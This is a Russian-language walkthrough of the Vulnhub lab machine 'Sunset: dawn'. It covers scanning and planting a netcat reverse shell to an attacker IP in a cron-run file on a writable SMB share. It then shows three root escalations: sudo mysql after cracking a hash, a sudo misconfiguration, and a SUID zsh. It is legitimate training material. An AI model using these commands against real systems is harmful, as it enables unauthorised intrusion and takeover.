Vulnhub. Прохождение Sunset: dawn
Следующей машиной в нашей серии прохождений будет Sunset: dawn.
Автор: whitecr0wz
Так же как и в первом прохождении нам нужно определить IP-адрес нашей цели. Для этого используем команду
netdiscover
В моем случае IP-адресом будет 192.168.1.165.
Сканирование
Начнем наше сканирование с определения открытых портов
nmap -p- 192.168.1.165
Видим, что у нас открыты 80, 139, 445 и 3306 порты, вот их мы и будем сканировать
nmap -p80,139,445,3306 -sC -sV -oN dawn 192.168.1.165
Поиск точки входа
80 порт используется сайтом, пожалуй, начнем с него.
Видим, что на сайте ничего интересного нет. Стоит проверить какие у сайта есть директории, для этого мы будем использовать gobuster
gobuster dir -u http://192.168.1.165/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-directories.txt -o dir.out
Где dir — режим для перебора каталогов, -w — выбранный нами словарь, а -o файл в который будут записываться результаты.
Из результатов сканирования самое интересное место для нас logs, так что заглянем сначала туда.
Мы видим 4 файла, попробуем скачать их все.
Но тут нам не очень везет, у нес нет доступа как к auth.log, так и к daemon.log и error.log.
Зато мы можем скачать management.log (если файл пустой или мало весит, стоит либо подождать какое-то время, либо перезапустить виртуалку).
В логах мы видим, что на машине запускаются кронтаб задачи, которые помогут нам в будущем
/bin/sh -c /home/dawn/ITDEPT/product-control
/bin/sh -c /home/dawn/ITDEPT/web-control
Теперь давайте посмотрим, что интересного мы можем найти с помощью SMB.
Пользователь 1
Сначала проверим что у нас на 445, запускаем
smbmap -H 192.168.1.165
Нам доступна на чтение/запись папка ITDEPT, вот к ней и мы подключимся
smbclient //192.168.1.165/ITDEPT
Пароль вводить не нужно, вместо него просто жмем enter. Как мы можем заметить из лога, что нам был доступен, именно из этой папки запускались файлы web-control и product-control. Данные файлы запускаются с опцией -c, которая определяет чтение команд из строки, следовательно, мы можем записать в файл команду на reverse shell
echo "nc -e /bin/bash 192.168.1.68 9001" > web-control
Загружаем полученный файл через smb командой put.
На своей машине прописываем
nc -lnvp 9001
Ждем пока выполнится кронтабовская задача… и у нас есть шелл, пользователя www-data. Для удобства работы с шеллом сделаем его интерактивным с помощью питона
python3 -c 'import pty;pty.spawn("/bin/bash")'
Пользователь 2
Вот мы получили доступ первого юзера, но если внимательно посмотреть по логам, то мы можем заметить, что кронтаб выполняет задачу также от пользователя с ID=1000 (UID=1000). Делаем те же действия, что и для первого пользователя, но во избежание путаницы лучше использовать другой порт, например, 9002. Вообще можно использовать любой порт, который не занят стандартными сервисами.
И вот мы получили шелл как пользователь dawn
Повышение привилегий
Способ 1
На этот раз не будем прибегать к помощи скриптов. В данных примерах повышение привилегий достаточно простое, так что мы найдем все ручками.
Для начала проверим, есть ли возможность у пользователя dawn запускать какие-нибудь файлы от имени root
sudo -l
Как мы видим, на дозволено использовать mysql с правами суперпользователя, но если мы попробуем ввести команду для получения шелла, которую мы подсмотрели на GTFObins
sudo mysql -e '\! /bin/sh'
То у нас ничего не получится, так как требуется авторизация, значит нужно найти пароль. Начнем с файла .bash-history, в котором записываются последние команды пользователя, введенные в строке консоли
cat .bash_history
О, а вот мы нашли какой-то хеш, и видим, что пользователь использовал mysql под учеткой root’а. Думаю, стоит крякнуть найденный хеш.
Джон нас не подводит, и мы получаем пароль onii-chan29, стоит попробовать его при аутентификации в mysql
mysql -u root -p
Вот мы авторизовались в mysql как суперпользователь. Если ввести команду \? , то из всех представленных команд мы также можем запускать системные команды \! . Так давайте попробуем запустить шелл
\! /bin/bash
Вот мы и стали суперпользователем.
Способ 2
Не стоит забывать, что у нас есть еще один пользователь www-data, давайте посмотрим, что мы можем сделать с ним. Начнем также с проверки sudo -l.
Здесь мы видим, что нам доступно выполнение команды sudo с правами суперпользователя. Тогда давайте попробуем запустить шелл от имени root’а
sudo -u root -i '/bin/bash'
У нас требуют пароль пользователя www-data, потому что мы запускаем sudo от имени текущего пользователя, чтобы проэксплуатировать данный вектор, нам нужно добавить в начало еще раз команду sudo, чтобы запустить sudo от имени суперпользователя без необходимости вводить пароль (как мы видели на скриншоте ранее), добавить опцию -i, чтобы прописать команду, которую мы хотим выполнить и -u root (пользователя можно и не указывать, так как команда и так запускается от имени root).
И… вуаля, теперь мы root.
Способ 3
Для этого способа можем использовать любого пользователя. Сейчас мы проверим какие исполняемые файлы нам вообще доступны в системе
find / -perm -u=s -type f 2>/dev/null
Используем команду find, с опциями / — поиск по всем каталогам, -perm — с опцией -u=s, для поиска файлов с установленным SUID-битом, -type f — тип файла (f — обычный файл) и 2>/dev/null — данная опция скрывает ошибки в выводе команды (использовать ее можно с любой командой или даже исполняемым файлом). Можно, конечно, проверять каждый, но в данном случае нас интересует конкретно zsh, это просто командная оболочка, запустив которую мы получаем права root.
Эта машина, так же как и первая, не требует сверхсложных манипуляций. Как говорится boot to root.
Прохождения:
Sunset: 1